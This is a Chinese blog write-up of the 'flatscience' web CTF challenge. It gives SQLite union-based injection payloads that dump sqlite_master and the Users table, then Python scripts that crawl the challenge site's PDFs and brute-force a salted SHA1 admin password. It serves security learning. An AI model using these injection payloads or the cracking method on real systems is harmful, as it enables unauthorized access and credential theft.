[CTF题目总结-web篇]攻防世界:flatscience

不会SQL注入的PHPer不是好的python脚本编写者。

一、题目分析

进入发现站点存在pdf文件链接和子站点,不过能找到的信息也就这些了。
那么扫个后台——发现存在login.php和admin.php,根据出题者的hint可知,admin页面无法绕过,并且通过设置debug参数,我们可以查看login页面源码。
简单测试发现login页面存在注入点(有报错,后台数据库是sqlite),通过代码审计及关于sqlite数据库特性的一些联想,我们可以找到注入反馈点:cookie。从这里我们能得到admin密码的sha1哈希值,并且根据表中的hint可知:对应的password在这个教授的论文里。
由此,最后的工作就是:爬取该站点的所有pdf文件并爆破。

知识点小结:
sqlite_master、简单爬虫、PDF文件解析。

二、具体思路

  1. 使用御剑扫后台,发现存在login.php页面和admin.php页面。
    一点感想:基本上你可以自己编写一个扫描器——就是一本字典和状态码检测,没什么难的。

在这里插入图片描述

  1. admin页面F12发现关键hint:don’t even try to bypass this。那么转到login页面寻找漏洞。

在这里插入图片描述

  1. login页面F12发现关键hint:debug-Parameter。在url后加上参数debug得到页面源码,跟进。

在这里插入图片描述

  1. 代码审计可知,sql注入点位于query函数,sql反馈点位于setcookie函数。需要注意的是:password是和salt ‘Salz!’拼接之后经过一个sha1哈希才传入查询逻辑的,这也就意味着数据库中“password”表项存放的是密码加盐之后的哈希值。
    在这里插入图片描述
  2. 在login表单中简单注入可发现后端数据库是sqlite。那么通过查询其全局模式表sqlite_master(存放本数据库所有表、视图、索引、触发器等的定义)可找到用户表的sql定义。
    构造payload:user=’ union select name,sql from sqlite_master --。(sqlite注释符是‘–’)。
    从cookie反馈信息可以看到:用户表名为Users,具有id、name、password、hint四个表项。

在这里插入图片描述

  1. 那么再依次从Users表中提取出id、name、password、hint。
    payload:user=’ union select id, (id或name或password或hint) from Users --。
    从cookie反馈信息中可以找到用户admin的加盐密码哈希值,以及一条hint:my fav word in my fav paper?!
    由此可见,密码就藏在教授的论文中,所以我们需要爬取站点所有pdf并转换为txt,逐一比对以求爆破。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

  1. 爬取站点所有pdf文件。
import urllib.request
import re

allHtml=[]
count=0
pat_pdf=re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html=re.compile("href=\"[0-9]/index\.html\"")


def my_reptile(url_root,html):
	global pat_pdf
	global pat_html
	html=url_root+html
	
	if(isnew(html)):
		allHtml.append(html)
		
		print("[*]starting to crawl site:{}".format(html))
		with urllib.request.urlopen(html) as f:
			response=f.read().decode('utf-8')
			
		pdf_url=pat_pdf.findall(response)
		for p in pdf_url:
			p=p[6:len(p)-1]
			download_pdf(html+p)
			
		html_url=pat_html.findall(response)
		for h in html_url:
			h=h[6:len(h)-11]
			my_reptile(html,h)
		
def download_pdf(pdf):
	global count
	
	fd=open(str(count)+'.pdf','wb')
	count+=1
	
	print("[+]downloading pdf from site:{}".format(pdf))
	with urllib.request.urlopen(pdf) as f:
		fd.write(f.read())
	fd.close()
	
def isnew(html):
	global allHtml
	for h in allHtml:
		if(html==h):
			return False
	return True


if __name__=="__main__":
	my_reptile("http://111.198.29.45:34582/",'')
	

在这里插入图片描述

  1. 把pdf转化为txt
from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
	print('[+]converting {} to {}'.format(pdfFile,txtFile))
	
	fd_txt=open(txtFile,'w',encoding='utf-8')
	fd_pdf=open(pdfFile,'rb')
	
	parser=PDFParser(fd_pdf)
	doc=PDFDocument()
	parser.set_document(doc)
	doc.set_parser(parser)
	doc.initialize()
	
	manager=PDFResourceManager()
	laParams=LAParams()
	device=PDFPageAggregator(manager,laparams=laParams)
	interpreter=PDFPageInterpreter(manager,device)
	
	for page in doc.get_pages():
		interpreter.process_page(page)
		layout=device.get_result()
		
		for x in layout:
			if(isinstance(x,LTTextBoxHorizontal)):
				fd_txt.write(x.get_text())
				fd_txt.write('\n')
	fd_pdf.close()
	fd_txt.close()
	print('[-]finished')
	
def crazyWork():
	print('[*]starting my crazy work')
	files=[]
	for f in os.listdir():
		if(f.endswith('.pdf')):
			files.append(f[0:len(f)-4])
	
	for f in files:
		pdf2txt(f+'.pdf',f+'.txt')
	
if __name__=='__main__':
	crazyWork()

在这里插入图片描述

  1. 爆破
import os
import hashlib

def searchPassword():
	print('[*]starting to search the word')
	for file in os.listdir():
		if(file.endswith('.txt')):
			print('[+]searching {}'.format(file))
			with open(file,'r',encoding='utf-8') as f:
				for line in f:
					words=line.split(' ')
					for word in words:
						if(hashlib.sha1((word+'Salz!').encode('utf-8')).hexdigest()=='3fab54a50e770d830c0416df817567662a9dc85c'):
							print('[@]haha,i find it:{}'.format(word))
							exit()
							
if __name__=='__main__':
	searchPassword()

在这里插入图片描述

  1. 在admin页面输入爆破得到的密码,可得flag。

在这里插入图片描述

三、题目总结

关于sqlite_master表的官方说明。
在这里插入图片描述

发布了24 篇原创文章 · 获赞 19 · 访问量 6889

猜你喜欢

转载自blog.csdn.net/tch3430493902/article/details/103940495